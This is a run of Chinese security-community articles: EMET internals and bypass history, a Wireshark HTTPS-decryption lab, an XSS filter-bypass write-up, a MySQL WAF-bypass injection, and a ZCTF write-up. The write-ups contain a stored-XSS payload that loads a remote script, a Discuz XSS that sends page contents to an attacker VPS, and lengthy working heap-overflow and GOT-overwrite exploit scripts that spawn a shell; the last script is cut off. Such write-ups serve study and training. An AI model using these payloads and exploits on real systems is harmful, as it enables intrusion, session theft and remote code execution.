文件注入到该应用程序中，与此同时，EMET应用程序还会创建一个相关的注册表键，以供应用程序启动时EMET使用。
以上步骤完成并保存配置之后，windows OS会在检查Shim DB之后将 EMET.dll
注入到应用程序中受保护的进程。此外，进程启用后，EMET.dll
会通过查询相关的注册表项来检查该应用程序有哪些EMET保护并接管重置，然后相应地进行所需要的检查。
有关EMET创建使用shim DB 和注册表项的更多信息可以参阅[HOW-EMET-WORKS] 和[EMET-UNCOVERED]。
**服务**
* * *
第一个真正有趣的应用是 EMET_Service.exe，这个服务本地使用SYSTEM权限运行，并且所有用户可以访问 \pipeEMET_Service
命名管道。
这项服务主要用来生成代表EMET库的日志事件，并验证证书链是否包含有一个固定的证书，如果有，还会检查该证书的有效性。
与这项服务进行交互需要使用XML， EMET库会将内容发送给服务，然后信息会被该服务解析并执行处理。
由于XML解析是出了名的不靠谱，所以我们还检查了所使用的解析器和配置。原来这项服务的开发人员似乎是意识到使用XML可能会出现的问题，他们使用了 .Net
提供的System.Xml.XmlReader，这会禁用引擎的处理指令以及文档支持。这些设置可以防止大多数的一般性XML攻击，除了一些针对特定漏洞的攻击以及通过发送大量XML数据的Denial-of-Service 情况。
文档中会存在以下清单中的三种不同类型的消息。
第一个是由 EMET_CE.dll
触发的消息，用于验证EMET的固定列表存储的证书。它包含了十六进制编码的列表中的证书（证书/请求/链）,下面是关于请求验证应用程序的一些信息：
<Request Sender="1948.1.400431297" Code="2" Subcode="0" Reply="1">
<Certificate>
<Chain>30820[...]</Chain>
<Chain>30820[...]</Chain>
<Chain>30820[...]</Chain>
</Certificate>
<Status>
<ChainIndex>-1</ChainIndex>
<ElementIndex>-1</ElementIndex>
<PolicyError>ERROR_SUCCESS</PolicyError>
</Status>
<Params>
<AuthType>2</AuthType>
<Checks>0</Checks>
<ServerName>*</ServerName>
<App>C:Program FilesInternet Exploreriexplore.exe</App>
<Message>Certificate Trust check failed: Application : C:Program FilesInternet Exploreriexplore.exe User Name : IE9WIN7IEUser Session ID : 1 PID : 0x79C (1948) TID : 0xDA8 (3496)</Message>
</Params>
</Request>
值得一提的是，如果如果验证失败， EMET_CE.dll 将无法阻止连接到发送这些链接的服务器，而是创建日志事件和由代理应用程序显示通知给用户。
第二条消息用于在EMET命名空间中生成一般的日志事件。此信息的发件人能够选择信息的严重级别。
<Request Sender="768.1.355274575" Code="1" Subcode="0" Reply="0">
<Event Sender="1" Level="1">Test</Event>
</Request>
最后一个消息负责生成漏洞检测事件。其中包含触发进程名的相关信息，消息会出现在事件日志中。
<Request Sender="768.1.355286753" Code="1" Subcode="0" Reply="0">
<Exploit Code="ASR">
<App>FOOBAR-APP</App>
<Message>FOOBAR-MSG</Message>
<Files>
<File>test</File>
</Files>
<Url Code="Trusted">FOOBAR-Url</Url>
</Exploit>
</Request>
而大多数数据只是简单地包含在日志信息中，应用程序元素和文件/文件元素还会有一些额外的影响。服务会读取文件数组中包含的路径来计算MD5校验。代理之后会使用应用程序内容来创建windows错误报告。
这意味着，你可以作为非特权用户来生成受保护文件的MD5总数，但是还是没有办法访问内容。
**
**
**代理**
* * *
正如前文所说，也有一个叫做EMET_Agent.exe
的应用程序在当前桌面上运行。该代理的作用是生成错误报告并向用户显示通知。如果前文提到的服务收到了一条消息来利用此漏洞事件日志，它就会连接到一个通知。
证书检查中出现问题时也会用到通知命令。
**EMET 执行 Dll**
* * *
这种保护机制主要由两个库中执行︰
EMET.dll
EMET64.dll
EMET_CE.dll
EMET_CE64.dll
EMET.dll 包含针对内存损坏和筛选可能有害库调用的保护措施。这也是通过SHIM框架注入进程的库。
EMET_CE.dll
负责证书检查，主要用于在IE浏览器中检查证书链。因为它使用的是微软的证书存储库，所以无法在拥有自己证书库的应用程序中运行，比如Mozilla
Firefox。
**以前的EMET绕过思路**
* * *
EMET是2009年末发布的，当时还只有几个缓解技术，为应用程序提供了针对覆盖结构化异常处理（SEH）的保护措施，通过使用数据执行保护（DEP）对堆栈执行代码防护。目前最新版本的EMET是5.5.1，在以前版本的基础上已经改进添加了很多新功能。
尽管开发EMET的主要目的是为应用程序减少和防止可能的攻击，但是实际上它反而证明了那些老练的攻击者可能绕过EMET使用的各种保护技术。
在本节中我们会简要地介绍一些最近用来规避EMET的技术。正如[BYPASS-EMET-ROP]一文的作者所述，EMET3.5可以被成功绕过，因为KernelBase.dll
和其中的函数并没有受到保护，所以攻击者可以找到dll基址，从而使用VirtualProtect 函数击败DEP。
正如Offensive安全的工作人员在[DISARM-EMET]、[DISARM-EMET5.0] 和[DISARM-EMET5.1]中所解释的那样，
只要针对一个控制ROP的全局变量，就可以绕过EMET 4.1、EMET
5.0和EMET5.1。这种旁路机制使用的技术受三个影响版本的不同而略有不同。在4.1版本中，只要将全局变量固定在一个指向EMET.dll 的
“.data”部分的开关，再用0覆盖这个全局变量就可以了。在5.0和5.1中，这个全局变量不是直接指向那个开关，而是指向一个编码指针来定位一个叫做CONFIG_STRUCT的结构。
在今年年初的美国黑帽大会上， FireEye
研究人员公布了他们在EMET5.2.0.1中发现的漏洞，这会允许攻击者完全禁用EMET.dll部署的拦截。他们在
[DISABLE_EMET16]中的研究论文中解释道，此漏洞的主要原因是因为微软的EMET团队没有使用 DLLMain Windows API卸载
EMET.dll 。
大约一个月之前，Blue Frost Security GmbH 的研究主任在HITB新加坡大会上介绍了一种针对EMET5.5
ASR功能的旁路手段，作为他演讲的一部分(演讲题为”看妈妈，我不使用外壳代码“)。在这种旁路技术中，攻击者使用了类似于Offensive
安全工作人员使用的技术，但不是为了找到可以禁用ROP保护功能的开关，而是找到用于检查ASR功能是否可用的开关。值得一提的是，研究人员说道微软目前还没有办法来解决这一旁路技术。
**参考链接**
[[SHIMS]](https://technet.microsoft.com/en-us/library/dd837644%28v=ws.10%29.aspx) Understanding Shims
[[EMET5.2]](http://expdev-kiuhnm.rhcloud.com/2015/05/29/emet-5-2-2/) EMET 5.2
– Exploit Development Community
[[DISABLE_EMET16]](https://www.blackhat.com/docs/us-16/materials/us-16-Alsaheel-Using-EMET-To-Disable-EMET.pdf) Using-EMET-To-Disable-EMET
[[PERSIST]](https://www.blackhat.com/docs/asia-14/materials/Erickson/WP-Asia-14-Erickson-Persist-It-Using-And-Abusing-Microsofts-Fix-It-Patches.pdf)
Persist It
[[EMET-CERT]](https://blogs.technet.microsoft.com/srd/2013/05/08/emet-4-0s-certificate-trust-feature/) EMET 4.0’s Certificate Trust Feature
[[INSIDE-EMET4.0]](https://www.youtube.com/watch?v=RGn-knmXf_Y) REcon 2013 –
Inside EMET 4 0 (Elias Bachaalany)
[[PIRATE-AV]](https://breakingmalware.com/vulnerabilities/captain-hook-pirating-avs-bypass-exploit-mitigations/) Captain Hook: Pirating AVs to Bypass
Exploit Mitigations
[[EMET-SINGLE]](http://forum.thewindowsclub.com/windows-security/37487-bypassing-emet-single-instruction.html) Bypassing EMET With a
Single Instruction
[[DEFEAT-AV]](https://breakdev.org/defeating-antivirus-real-time-protection-from-the-inside/) Defeating Antivirus Real-time Protection From The Inside
[[DEFEAT-EMET5.x]](http://casual-scrutiny.blogspot.de/2015/03/defeating-emet-52.html) Defeating EMET 5.2 & 5.5
[[LOOK-MOM]](http://gsec.hitb.org/materials/sg2016/D2%20-%20Moritz%20Jodeit%20-Look%20Mom%20I%20Don%27t%20Use%20Shellcode.pdf)
Moritz Jodeit -Look Mom I Don’t Use Shellcode
[[LOOK-MOM2]](https://labs.bluefrostsecurity.de/files/Look_Mom_I_Dont_Use_Shellcode-WP.pdf) Look Mom, I don’t use Shellcode – Browser Exploitation Case Study for
Internet Explorer 11
[[SECURE-HOST]](https://github.com/iadgov/Secure-Host-Baseline/blob/master/EMET/README.md) Secure-Host-Baseline
[[SCRAMMED]](http://scrammed.blogspot.de/2014/03/reversing-emets-eaf-and-couple-of.html) Scrammed!: Reversing EMET’s EAF (and a couple of curious
findings…)
[[DISARM-EMET] ](https://www.offensive-security.com/vulndev/disarming-enhanced-mitigation-experience-toolkit-emet/)
[[DISARM-EMET5.0] ](https://www.offensive-security.com/vulndev/disarming-emet-v5-0/)
[[DISARM-EMET5.1] ](https://www.offensive-security.com/vulndev/disarming-and-bypassing-emet-5-1/)
[[BYPASS-EMET-ROP] ](https://repret.wordpress.com/2012/08/08/bypassing-emet-3-5s-rop-mitigations/)
[[HOW-EMET-WORKS] ](http://0xdabbad00.com/2010/09/12/how-emet-works/)
[[EMET-UNCOVERED] ](http://0xdabbad00.com/wp-content/uploads/2013/11/emet_4_1_uncovered.pdf) | 社区文章 |
# 网络协议—HTTPS
## 实验目的
了解HTTPS的原理
掌握解密https的方法
## 实验环境
* 操作机：Windows XP
* 实验工具：
* Wireshark2.2
## 实验内容
SSL (Secure Socket Layer)安全套接字层协议；TLS(Transport Layer
Security)传输层安全协议。SSL/TLS是保护计算机网络通讯安全的一类加密协议，它们在传输层上给原先非安全的应用层协议提供加密保护，如非安全的HTTP协议即可被SSL/TLS保护形成安全的HTTPS协议。
### 实验一
解密HTTPS流量
#### 方法一 pre-master-secret
先追踪一个解密前的TCP流：`tcp.stream eq 1`(在对应的数据包右键追踪流，选择TCP流)：
可见SSL层数据是乱码，不可获取到流量具体信息。
Windows或linux环境，配置环境变量`SSLKEYLOGFILE=./path/*.log`，浏览器在访问https时会将与网站https建立连接后的会话私钥保存下来。在wireshark中，通过
编辑 - 首选项 - 协议(protocols) - SSL - (Pre)-Master-Secret log filename
指定SSLKEYLOGFILE文件，即可解密流量(流量包)中的HTTPS流量。
此时，继续看`tcp.stream eq 1`这个TCP流：
此时，数据已经可以被解密，分组详情多出了HTTP字段的信息，分组字节流也出现的解密之后的SSL数据(Decrypted SSL Data)。
#### 方法二 服务端私钥
在某些CTF题目中，给了流量包的情况下，往往会再通过某些信息给一个SSL的私钥文件。同样在wireshark中协议SSL设置：
可以在这里导入私钥，password为保存私钥时指定的加密密码，为了防止私钥丢失被解开。
利用这个方法同样可以解密SSL流量。
##### 注释
这个流量包中，解密之后的流量包含HTTP2.0协议，对应下图HTTP2.0报文格式试一试把： | 社区文章 |
# 山重水复疑无路
漏洞点：站点产品评论处
## 初步测试
一开始尝试XSS，发现程序有过滤，提交均显示Tags are not permitted，最后测出来的是过滤 < ，不过滤 >
因为提示速度比较快，猜测前端有一层检测。尝试绕过前端检测，burp拦截正常提交的内容，替换xss
payload后发送，发现会自动跳转回首页，由此发现程序后端也有内容检测，这里直接xss暂时行不通。
查看编辑器的其他功能：
图片上传：
可上传aspx（其他可能解析后缀均已尝试），不能解析并跳转至首页。
可上传html并解析，这种方式构造的xss通常需要主动攻击，且攻击时易被管理员察觉到异常，暂不考虑。
表情功能：没什么可利用的。
# 柳暗花明又一村
当看到编辑器提示的 img 外部图片引用方式时引起了我的注意，这里感觉可以操作一下：
## 正常测试
先来看下正常引用方式时前端的显示，链接被带入到src中（logo前文字涉及域名，打码）：
[img|XSSURL|xxxxx Logo]
## 带入payload
把xss payload 放在链接的位置再看一下：
常规的payload：
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>
构造的payload：
[img|x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|xxxxx Logo]
提交后审查元素发现为如下显示：
## 尝试闭合
尝试闭合 x 处的双引号，让 onerror 逃逸出来：
[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|hello]
这里提交后发现payload并没有执行成功，仔细看发现程序输出时分别在 onerror= 和 ; 后面加了双引号。
## 闭合成功
一开始想的直接给个 > 让它闭合，虽然成功加载了，但是页面显示会有错误，这样十分容易被发现倪端，不够完美。
[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>|hello]
换个思路通过闭合掉 ; 后面的双引号，显示效果如下：
[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';"|hello]
最终在没有任何错误内容显示的情况下成功执行了xss payload： | 社区文章 |
群里发了一篇 [WAF攻防之SQL注入篇](https://mp.weixin.qq.com/s/S318-e4-eskfRG38HZk_Qw
"WAF攻防之SQL注入篇") 里面对各个厂商的WAF都过了一遍。本来一开始也以为是常规操作，匆匆扫一眼就没怎么在管了。
但是挖漏洞的同事仔细研究里面的几种饶法后，觉得其中的阿里云盾d的绕法十分诡异，让我看了一下，我这才注意留意到这个特殊的绕法 。
原文写的是 **利用–+%0a、@自定义变量、{a key}组合进行绕过** 。
http://192.168.20.81/user.php?id=@a:=(select @b:=`table_name`from{a information_schema.`TABLES` }limit 0,1)union select '1',@a
通过拆解sql语句我们知道，最后的结果是通过自定义的变量a和union返回。
这里对于 **@自变量** 有几个知识点，这是以前没留意的操作
* @a=1 判断 变量a 是否 等于 1
* @a:=1 等同于 set @a = 1 (只有在set的语句下 = 才是赋值)
第一层是@a=(xxxxxxx) 这里略过不看
第二层是`select @b:=`table_name`from{a information_schema.`TABLES` } limit 0,1`
* 这里的 `@b:=`table_name`` 和 直接 写 table_name 效果是一样的。 原因上面提到了 。
* 第二个是 { a key }的写法。我一直很疑惑 这个{a key}是什么东西。关于这个，我找了很多资料，都没找到。问了几个朋友也没发现，最终在mysql的官网手册中找到了。
<https://dev.mysql.com/doc/refman/5.7/en/expressions.html>
这个确切的写法是 {identifier expr}
* {identifier expr} is ODBC escape syntax and is accepted for ODBC compatibility. The value is expr. The curly braces in the syntax should be written literally; they are not metasyntax as used elsewhere in syntax descriptions.
* 简单点说，这个写法主要是为了兼容ODBC才会有的写法。并不是标准的sql语法。
* 那么在ODBC中是怎么使用的呢，我又寻找了一下 <http://web.synametrics.com/winsqlescapeclause.htm>
* 文中提到 ODBC中的写法
* `SELECT * FROM table1 WHERE datefield = {d '1995-09-12'}`
前面的d是告诉ODBC这个数据的格式是啥。 虽然说一般是用一到两个字母去表示，例如
* Date {d 'yyyy-mm-dd'}
* Time {t 'hh:mm:ss'}
* Timestamp {ts 'yyyy-mm-dd hh:mm:ss[.f...]'}
* 但是我试了一下。写很长，mysql也可以认。
* 更重要的是，只要是支持ODBC，那么 {identifier expr} 理论上都可以使用。这就大大增加了 {identifier expr} 搞事情的机会。 | 社区文章 |
# ZCTF Writeup
|
##### 译文声明
本文是翻译文章，文章来源：FlappyPig
译文仅供参考，具体内容表达以及含义原文为准。
****
**author:FlappyPig**
**MISC**
xctf 竞赛规则
这个题的脑洞 简直。。。
主要看spacing 可以看到3种间距 -2 0 2 于是推算 -2和2的时候
一个烫=一个0或者一个1
猜测开头
发现完全吻合之后 把所有168个烫都转换为二进制 最后8个二进制输出一个字符
得到flag
ZCTF{C0nnE_ON_B4BUj!}
**Android200**
首先出现的是登陆窗口,检查登录名密码的函数在这里
使用Auth.auth函数验证用户名密码,this.databaseopt()函数获得加密用的密钥,该函数如下图,大概是从key.db中获取密钥
下个log直接把key打印出来,是zctf{Notthis},因此用户名是zctf,密码应该是{Notthis}。
这一步通过了之后会运行app这个类,里面会检查反调试,并且设置了退出时间,把相应退出的转跳判断改掉就不会退出了。最后程序会调用JNIclass.sayHelloInc
用ida查看相关汇编
其中会调用Java_com_zctf_app_JNIclass_add_0()查看/proc/pid/status进行反调试,调试的时候把它的返回值改为0,即可绕过。
剩下的部分貌似是拼接/data/data/com.zctf.app/files/bottom和so文件内部的一个字符串,然后使用des解密。
这里直接用gdb dump出解密后的值即可,是一张图片。用stegsolve打开即可看到flag。
**WEB**
Web150 Easy Injection
一个登录框..测试了下感觉不像注入,cookie中有个sessionhint,发现是base32编码,解码发现是说不是sql注入,
扫 了下端口,发现存在389端口,ldap,参考drops的文章,用admin/*登录进后台,发现一个搜索,搜索a回显,0 admin, (|
(uid=*a*))猜测是后端的语句,这里又有一个sessionhint解出来can you find my description,后来才发现
description是表名,于是根据drops文章一位一位盲注出。
payload:search=b*)(description=z
Web200 加密的帖子
没啥好说的这题..你以为你换个DedeCMS的Logo我就认不出你是Discuz了么!
XSS漏洞,wooyun上有,在回复帖子的位置插入代码:
[flash]http://VPS_IP:9997/flash.swf?'+btoa(escape(document.body.innerHTML))+'[/flash]
VPS上nc监听9997端口,就能接收到数据了..
解码之后就能看到flag
老大知道flag
首先爆破常用姓名 最后可以登录zhangwei 123456
登录上去之后发现通讯录 还有md5过的cookie 解不开
然后爆破通讯录里的弱口令
可以得到 niubenben 123456789
继续登录 发现cookie可以解 解完之后是 9+ADk-
可以推算老大 是1+xxxx 最后尝试多次发现+ADk- 是utf-7的编码
于是构造老大的cookie
再md5下 用burp发包 拿到flag
**PWN**
guess(pwn100):
题目逻辑比较简单,gets的缓冲区是栈上的,可以任意长度读入,而栈的缓冲区长度是40。如下:
由于直接与flag相比较,所以这里flag是存在于内存中的。由于做了限制,必须以ZCTF{开头,而且长度一定,所以这里首先得暴力长度,根据返回的结果判断长度是否正确。
长度开始为33,后来改为34。
由 于栈的前面存在有主函数main(int argc, char** argv)的参数值,而这个参数argv[0]即为程序的名字,在异常时会显示在错
误信息后面,所以只要覆盖栈中argv[0]的地址为特定地址就可以达到任意地址泄露。所以可以泄露原flag的信息。
由 于::s(flag存放的地址)最后会与输入值做异或,所以最后只要反异或就可以。由于开始的时候ZCTF{这个地方异或后肯定为0,所以打印的时候,地
址应该往后靠点:如+5,另外选取的异或数也可能余flag中的相同,存在0截断,所以可以多打印些地址,这里直接选用‘b’,发现能够全部泄露出来(第五个5以后的)。
利用代码如下:
__author__ = "pxx"
#from zio import *
from pwn import *
#target = "./guess"
target = ("115.28.27.103", 22222)
def get_io(target):
#r_m = COLORED(RAW, "green")
#w_m = COLORED(RAW, "blue")
#io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
#io = process(target, timeout = 9999)
io = remote("115.28.27.103", 22222, timeout = 9999)
return io
def leak_len(io, length):
io.readuntil("please guess the flag:n")
flag_addr = 0x6010C0
payload = 'a' * length + "x00"
#io.gdb_hint()
io.writeline(payload)
result = io.readuntil("n")
print result
#io.close(0)
if "len error" in result:
return False
return True
def pwn(io):
#io.read_until("please guess the flag:n")
io.readuntil("please guess the flag:n")
"""
[stack] : 0x7fffff422210 --> 0x73736575672f2e (b'./guess')
!![stack] : 0x7fffff421278 --> 0x7fffff422210 --> 0x73736575672f2e (b'./guess')
[stack] : 0x7fffff422ff0 --> 0x73736575672f2e (b'./guess')
!![stack] : 0x7fffff4215e0 --> 0x7fffff422ff0 --> 0x73736575672f2e (b'./guess')
[stack] : 0x7fffc0eb7bfa --> 0x73736575672f6e (b'n/guess')
[stack] : 0x7fffc0eb7ff0 --> 0x73736575672f2e (b'./guess')
!![stack] : 0x7fffc0eb6c48 --> 0x7fffc0eb7ff0 --> 0x73736575672f2e (b'./guess')
arg[0]: 0x7fffc0eb67c0 ('a' <repeats 15 times>...)
"""
flag_addr = 0x6010C0 + 5 #+ 3 + 6
length = 34
payload = "ZCTF{"
payload = payload.ljust(length, 'b')
payload += "x00"
payload = payload.ljust(0x7fffff421278 - 0x7fffff421150, 'a')
#payload = payload.ljust(0x100, 'a')
payload += p64(flag_addr)
#payload = 'a' * (0x7fffc0eb68e8 - 0x7fffc0eb67c0) + p64(flag_addr)
raw_input()
#io.gdb_hint()
#io.writeline(payload)
#payload = 'a' * 0x50
io.writeline(payload)
#io.interact()
io.interactive()
"""
#leak length = 9
for i in range(32, 256):
print i
io = get_io(target)
if leak_len(io, i) == True:
break
exit(0)
"""
io = get_io(target)
pwn(io)
然后异或即可:
a = '0x07x03SSS;=x0cQQ&=x16R=[x17x07x111=x04x0e"x05]x1fh'
result = []
for i in a:
result.append(chr(ord(i) ^ ord('b')))
print "".join(result)
结果:
flag: ZCTF{Rea111Y_n33D_t0_9uesS_fl@g?}
note1(pwn200):
这题比较简单,是个菜单式的交互程序,分析程序的结构体,得到如下:
可见content的长度为256,而在edit的时候,能够读入512字节,从而发送缓冲区覆盖,如下:
结构体中有指针,泄露和利用都比较容易,利用代码如下:
__author__ = "pxx"
from zio import *
from pwn import *
#target = "./note1"
target = ("115.28.27.103", 9001)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def new_note(io, title_t, type_t, content_t):
io.read_until("option--->>n")
io.writeline("1")
io.read_until("title:n")
io.writeline(title_t)
io.read_until("type:n")
io.writeline(type_t)
io.read_until("content:n")
io.writeline(content_t)
def show_note(io):
io.read_until("option--->>n")
io.writeline("2")
def edit_note(io, title_t, content_t):
io.read_until("option--->>n")
io.writeline("3")
io.read_until("title:n")
io.writeline(title_t)
io.read_until("content:n")
io.writeline(content_t)
def pwn(io):
new_note(io, 'aaa', 'aaa', 'aaa')
new_note(io, 'bbb', 'bbb', 'bbb')
new_note(io, 'ccc', 'ccc', 'ccc')
show_note(io)
atoi_got = 0x0000000000602068 - 0x80
content= 'a' * 256 + l64(0x01) + l64(0x01) + l64(0x01) + l64(atoi_got) + "bbb"
io.gdb_hint()
edit_note(io, 'aaa', content)
show_note(io)
io.read_until("title=, type=, content=")
data = io.read_until("n")[:-1]
print [c for c in data]
data = data.ljust(8, 'x00')
malloc_addr = l64(data)
print "malloc_addr:", hex(malloc_addr)
elf_info = ELF("./libc-2.19.so")
malloc_offset = elf_info.symbols["malloc"]
system_offset = elf_info.symbols["system"]
libc_base = malloc_addr - malloc_offset
system_addr = libc_base + system_offset
content = "a" * 16 + l64(system_addr)
print "system_addr:", hex(system_addr)
edit_note(io, "", content)
io.read_until("option--->>n")
io.writeline("/bin/sh")
io.interact()
io = get_io(target)
pwn(io)
结果:
flag: ZCTF{3n@B1e_Nx_IS_n0t_3norrugH!!}
note2(pwn400):
这道题也是菜单式的形式,主要问题在于edit的时候,append可以越界,如下图:
如果size开始为0,那么size – strlen(dest) + 14 <= 14
了,所以最后strncat的时候,可以无限附加,覆盖下个堆块,当size为0的时候,默认会分配的堆块大小为0x20,由于每个堆块的大小可以自己设
置大小,所以这里采用fastbin(堆块大小为0x20~0x80),由于可以覆盖后面的堆块,所以可以伪装假堆块在name中,然后对其进行free,再次申请的时候,就可以得到该地址,从而改写全局指针,如下:
最终利用代码如下:
__author__ = "pxx"
from zio import *
from pwn import *
#ip = 1.192.225.129
#target = "./note2"
target = ("115.28.27.103", 9002)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def new_note(io, length_t, content_t):
io.read_until("option--->>n")
io.writeline("1")
io.read_until("content:(less than 128)n")
io.writeline(str(length_t))
io.read_until("content:n")
io.writeline(content_t)
def show_note(io, id_t):
io.read_until("option--->>n")
io.writeline("2")
io.read_until("id of the note:n")
io.writeline(str(id_t))
def delete_note(io, id_t):
io.read_until("option--->>n")
io.writeline("2")
io.read_until("id of the note:n")
io.writeline(str(id_t))
def edit_note(io, id_t, type_t, content_t):
io.read_until("option--->>n")
io.writeline("3")
io.read_until("id of the note:n")
io.writeline(str(id_t))
io.read_until("[1.overwrite/2.append]n")
io.writeline(str(type_t))
io.read_until("Contents:")
io.writeline(content_t)
def pwn(io):
name_addr = 0x6020E0
address_addr = 0x602180
address = 'aaa'
name = l64(0x20) + l64(0x21)
name = name.ljust(0x20, 'a')
name += l64(0x20) + l64(0x21)
name += l64(0x0)
io.read_until("Input your name:n")
io.writeline(name)
io.read_until("Input your address:n")
io.writeline(address)
new_note(io, 0, '')
new_note(io, 0x80, '')
atoi_got = 0x0000000000602088
manage_addr = 0x602120
payload = 'a' * 0x10
for i in range(7):
edit_note(io, 0, 2, payload)
payload = 'a' * 0xf
edit_note(io, 0, 2, payload)
payload = 'a' + l64(name_addr + 0x10)
edit_note(io, 0, 2, payload)
io.gdb_hint()
new_note(io, 0, '')
payload = 'a' * 0x10
for i in range(2):
edit_note(io, 2, 2, payload)
payload = 'a' * 0xf
edit_note(io, 2, 2, payload)
payload = 'a' + l64(atoi_got)
edit_note(io, 2, 2, payload)
show_note(io, 0)
io.read_until('Content is ')
data = io.read_until("n")[:-1]
print [c for c in data]
data = data.ljust(8, 'x00')
aoti_addr = l64(data)
print "aoti_addr:", hex(aoti_addr)
elf_info = ELF("./libc-2.19.so")
#elf_info = ELF("./libc.so.6")
atoi_offset = elf_info.symbols["atoi"]
system_offset = elf_info.symbols["system"]
libc_base = aoti_addr - atoi_offset
system_addr = libc_base + system_offset
content = l64(system_addr)
print "system_addr:", hex(system_addr)
edit_note(io, 0, 1, content)
io.read_until("option--->>n")
io.writeline("/bin/sh")
io.interact()
io = get_io(target)
pwn(io)
结果
flag: ZCTF{C0ngr@tu1@tIoN_tewre0_PwN_8ug_19390#@!}
spell(pwn300):
这道题的逻辑还是比较简单的,读取用户数据,然后与从驱动中读到的数据进行对比,符合要求,则打印flag。
看驱动代码,发现有两个ioctl指令:
0x80086B01 –> 返回8字节随机数
0x80086B02 –> 返回时间字符串
如下:
而时间在最初的时候会打印一次,但是这里只是精确到分钟。
对于用户输入的串,与驱动进行比较时,会有多轮次,长度符合规律,现将长度求出得56,每8字节为一组,与驱动中读出的数据进行异或,如果每次异或结果都为’zctfflag’,则成功。
问题所在:
读取用户输入的时候,会读取len+2的长度,而且将len+1的位置置为’n’,那么此时如果输入长度刚好为256,可以读取258个字节
而在cpy函数中,赋值结束时按照’n’来定的,所以可以赋值257个字节,如下:
而dest_buff缓冲区只有256个字节,其后跟着v13,它为第二次获取驱动中数据函数ioctl的指令代码,如下:
所以可以覆盖其最低字节,那么此时如果将最后一字节其覆盖成0x02,则获取的结果就是8字节的时间,而时间是8字节的,而且是以分钟为精度的,所以可以将第一次的时间近似看成第二次的时间,从而构造合适的输入数据。
利用代码如下:
__author__ = "pxx"
from zio import *
target = ("115.28.27.103", 33333)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
#io = process(target, timeout = 9999)
return io
def pwn(io):
io.read_until("How long of your spell:")
io.writeline("256")
io.read_until("At ")
time_info = io.read_until(": ")
io.read_until("you enter the spell: ")
time_info = time_info + "x00"
info = "zctfflag"
result = []
padding = ""
for i in range(8):
padding += chr(ord(time_info[i]) ^ ord(info[i]))
payload = padding * 7
payload += "x00"
payload = payload.ljust(256, 'a')
payload += 'x02'
io.writeline(payload)
io.interact()
io = get_io(target)
pwn(io)
结果:
flag: ZCTF{SPELL_IS_IN_THE_D33wRIVER}
note3(pwn300):
该题是note系列第三个,问题依然在edit中,如下图:
其中输入的id经过一些列运算,其中get_long函数中,转换是atol,而发行len<0时,将len=-len,这里有个整数型溢出问题,因为0x8000000000000000
= -0x8000000000000000。
而0x8000000000000000的值为-1,所以可以导致索引为全局结构体数组中的前一个指针。其为当前的活跃指针,如下:
edit的时候:id_t为-1;其对应的长度不在是size,第七个堆块的指针所以可以读很长的内容,从而覆盖后面的堆块,如下:
get_buff_4008DD(global_content_size_6020C8[id_t],
(__int64)(&global_cur_ptr_6020C0)[8 * (id_t + 8)], 10);
global_cur_ptr_6020C0 = global_content_size_6020C8[id_t];
在这里可以采用unlink的方式,在内容中构造假堆块,最终改写全局指针。
利用代码如下:
__author__ = "pxx"
from zio import *
from pwn import *
#ip = 1.192.225.129
#target = "./note3"
target = ("115.28.27.103", 9003)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def new_note(io, length_t, content_t):
io.read_until("option--->>n")
io.writeline("1")
io.read_until("content:(less than 1024)n")
io.writeline(str(length_t))
io.read_until("content:n")
io.writeline(content_t)
def delete_note(io, id_t):
io.read_until("option--->>n")
io.writeline("4")
io.read_until("id of the note:n")
io.writeline(str(id_t))
def edit_note(io, id_t, content_t):
io.read_until("option--->>n")
io.writeline("3")
io.read_until("id of the note:n")
io.writeline(str(id_t))
io.read_until("content:")
io.writeline(content_t)
def pwn(io):
new_note(io, 0x80, 'aaaaaa')
new_note(io, 0x80, 'bbbbbb')
new_note(io, 0x80, 'cccccc')
new_note(io, 0x80, 'dddddd')
new_note(io, 0x80, 'eeeeee')
new_note(io, 0x80, 'ffffff')
new_note(io, 0x80, '/bin/sh;')
target_id = 2
edit_note(io, target_id, '111111')
#useful_code --- begin
#prepare args
arch_bytes = 8
heap_buff_size = 0x80
#node1_addr = &p0
node1_addr = 0x6020C8 + 0x08 * target_id
pack_fun = l64
heap_node_size = heap_buff_size + 2 * arch_bytes #0x88
p0 = pack_fun(0x0)
p1 = pack_fun(heap_buff_size + 0x01)
p2 = pack_fun(node1_addr - 3 * arch_bytes)
p3 = pack_fun(node1_addr - 2 * arch_bytes)
#p[2]=p-3
#p[3]=p-2
#node1_addr = &node1_addr - 3
node2_pre_size = pack_fun(heap_buff_size)
node2_size = pack_fun(heap_node_size)
data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size
#useful_code --- end
#edit node 1:overwrite node 1 -> overflow node 2
edit_note(io, -9223372036854775808, data1)
#edit_note(io, 1, score, data1)
#delete node 2, unlink node 1 -> unlink
#delete_a_restaurant(io, 2)
delete_note(io, target_id + 1)
alarm_got = 0x0000000000602038
puts_plt = 0x0000000000400730
free_got = 0x0000000000602018
data1 = l64(0x0) + l64(alarm_got) + l64(free_got) + l64(free_got)
edit_note(io, target_id, data1)
data1 = l64(puts_plt)[:6]
io.gdb_hint()
edit_note(io, target_id, data1)
#io.read_until("option--->>n")
#io.writeline("3")
#io.read_until("id of the note:n")
#io.writeline(l64(atol_got))
#data = io.read_until("n")
#print [c for c in data]
delete_note(io, 0)
data = io.read_until("n")[:-1]
print [c for c in data]
alarm_addr = l64(data.ljust(8, 'x00'))
print "alarm_addr:", hex(alarm_addr)
elf_info = ELF("./libc-2.19.so")
#elf_info = ELF("./libc.so.6")
alarm_offset = elf_info.symbols["alarm"]
